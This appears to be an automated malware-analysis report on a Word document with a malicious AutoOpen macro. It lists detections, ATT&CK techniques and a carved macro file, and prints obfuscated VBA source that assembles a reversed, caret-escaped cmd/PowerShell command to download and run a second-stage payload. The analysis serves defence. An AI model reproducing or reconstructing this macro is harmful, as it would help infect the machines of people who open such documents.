MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a legacy WordBasic AutoOpen macro, which is a strong indicator of malicious intent. The AutoOpen macro is designed to execute arbitrary code upon opening the document. The script appears to be obfuscated and truncated, but the presence of the Shell function suggests it attempts to download and execute a second-stage payload. The ClamAV detection further supports its malicious nature.
Heuristics 5
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ClamAV: Doc.Malware.Valyria-6794593-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-6794593-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10336 bytes |
SHA-256: 09ad8c0489c3799f20d73715e717f8aa6dbc6a6852417428b57e7a06de58bb67 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ONFNUlnU"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim cMiScP(2)
cMiScP(0) = MidB("wCKcT", 200, 533)
cMiScP(1) = MidB("tvMcVmI", 534, 123)
Dim bmidK(1)
bmidK(0) = Right("kVjzD", 478)
Dim SiaZa(2)
SiaZa(0) = Right("NuGkPriA", 530)
SiaZa(1) = Mid("nljkajo", 587, 255)
Dim kUBrwI(1)
kUBrwI(0) = MidB("pBrvcqT", 708, 460)
Dim frokMi(1)
frokMi(0) = Left("zXKMk", 651)
lBhjuWFOwiw (KeyString(3 + 6 + 2 + 0 + 56) + UsodooiQdP + PNERi + iphCaorHWSr + YGNaQkDdLj + vzJXHFNkmsC)
Dim GRPAdh(1)
GRPAdh(0) = MidB("dSAJijEa", 649, 998)
Dim QGQimm(1)
QGQimm(0) = Right("qNzWWtkH", 902)
Dim zYwllh(1)
zYwllh(0) = Left("mAOUF", 798)
End Sub
Function lBhjuWFOwiw(FciQRYwYOP As String)
Dim cIfCJf(2)
cIfCJf(0) = Right("TbvvOwu", 382)
cIfCJf(1) = MidB("PIEEkBE", 347, 308)
Dim VdPcih(1)
VdPcih(0) = MidB("TzhiR", 364, 926)
Dim ECkTEC(1)
ECkTEC(0) = MidB("dhcOlpz", 923, 33)
Dim raQqcr(2)
raQqcr(0) = MidB("PRmwB", 430, 292)
raQqcr(1) = Mid("ozQjV", 144, 718)
Dim tVCNDB(1)
tVCNDB(0) = Left("rHAbE", 250)
Shell@ FciQRYwYOP, CInt(msoBarTypeNormal)
Dim njQZGj(1)
njQZGj(0) = Left("HTiRjP", 177)
Dim INviBd(2)
INviBd(0) = MidB("bEzYfL", 213, 894)
INviBd(1) = Left("FlaFAoc", 49)
Dim RRfIo(1)
RRfIo(0) = MidB("loBAQ", 872, 662)
End Function
Attribute VB_Name = "sXZqiKirpODr"
Function UsodooiQdP()
Dim lVtRWs(2)
lVtRWs(0) = MidB("GhpRmVc", 776, 877)
lVtRWs(1) = Mid("aFXsoz", 608, 296)
Dim tEqXi(1)
tEqXi(0) = MidB("vWjJNURA", 558, 175)
Dim NNbwCn(2)
NNbwCn(0) = Left("RQmwYOC", 594)
NNbwCn(1) = Left("kCqSjtZ", 118)
fTrqvVBAso = "md " + "/" + "V/C" + ChrW(3 + 0 + 3 + 5 + 23) + "s^" + "e^t " + "7^j" + "=^" + " ^ "
Dim GoWPf(1)
GoWPf(0) = MidB("kBdizC", 67, 757)
Dim JZIvLp(1)
JZIvLp(0) = Right("QaSRLTn", 420)
Dim hdctW(2)
hdctW(0) = Left("KdABzm", 998)
hdctW(1) = Right("iSRQjzpu", 318)
ijPWiXfN = "^" + " " + " " + "^ ^" + " ^ " + " ^ " + " ^ "
Dim QuFFiN(2)
QuFFiN(0) = Right("dwzLORPT", 867)
QuFFiN(1) = Right("oECkEM", 375)
Dim NvZiqM(2)
NvZiqM(0) = Left("kWJoi", 747)
NvZiqM(1) = Left("zRKok", 576)
Dim XBXkcT(1)
XBXkcT(0) = Mid("OhJjfTX", 351, 147)
Dim mtCWpp(2)
mtCWpp(0) = MidB("mMYohDP", 76, 358)
mtCWpp(1) = Left("miPQV", 571)
iLErVWlsv = "^ ^" + " ^}" + "}{^h" + "c^t^" + "ac" + "^}" + ";^k" + "aerb"
Dim KiFzM(2)
KiFzM(0) = Right("FmjqT", 748)
KiFzM(1) = Left("mpzlw", 288)
Dim mrPMI(1)
mrPMI(0) = Right("YNnYSTK", 846)
Dim jcqFmj(2)
jcqFmj(0) = MidB("ChtCfUz", 406, 901)
jcqFmj(1) = MidB("mikQC", 274, 123)
Dim cCTrR(1)
cCTrR(0) = Mid("aFiCh", 228, 238)
cVoioUzAS = ";ld" + "d$ " + "m^e" + "^t^I" + "-^e"
Dim EtdSQN(1)
EtdSQN(0) = MidB("rOjjI", 275, 243)
Dim IHXZd(2)
IHXZd(0) = Mid("VjOjdVZE", 950, 645)
IHXZd(1) = Left("BaiQibX", 506)
Dim cjJrN(2)
cjJrN(0) = Mid("CERNFXp", 586, 627)
cjJrN(1) = MidB("whDEPwsi", 185, 400)
Dim QQPrvL(1)
QQPrvL(0) = Right("ZzcnX", 152)
Dim qoOvRc(2)
qoOvRc(0) = Mid("qENndrbh", 855, 136)
qoOvRc(1) = MidB("zYjnG", 548, 549)
jNspwzaMjNH = "ko" + "vnI" + "^;)l" + "dd" + "$ ," + "^"
Dim zvqDA(2)
zvqDA(0) = Left("rVGjic", 105)
zvqDA(1) = Left("ODaXznBq", 32)
Dim ZtChl(2)
ZtChl(0) = Mid("brYsJW", 692, 561)
ZtChl(1) = Mid("jLmXUXS", 924, 488)
iVDTla = "a" + "w" + "S^" + "$" + "(e^" + "l^i^" + "F^da" + "^" + "o" + "^" + "l"
Dim pwOHt(2)
pwOHt(0) = Mid("pbUpoUQ", 130, 710)
pwOHt(1) = Left("vEjquXD", 801)
ApprsTlMaw = "n" + "w" + "^o^" + "D" + "^.^" + "a^" + "T^z"
Dim pGzdij(2)
pGzdij(0) = MidB("msKlPs", 887, 37)
pGzdij(1) = Left("uXRGN", 738)
Dim UWMJS(1)
UWMJS(0) = Mid("YCPnzUXL", 186, 709)
iwwzZG = "^$" + "{^yr" + "t{)^" + "j" + "lw" + "^$^ "
UsodooiQdP = fTrqvVBAso + ijPWiXfN + iLErVWlsv + cVoioUzAS + jNspwzaMjNH + iVDTl
... (truncated)
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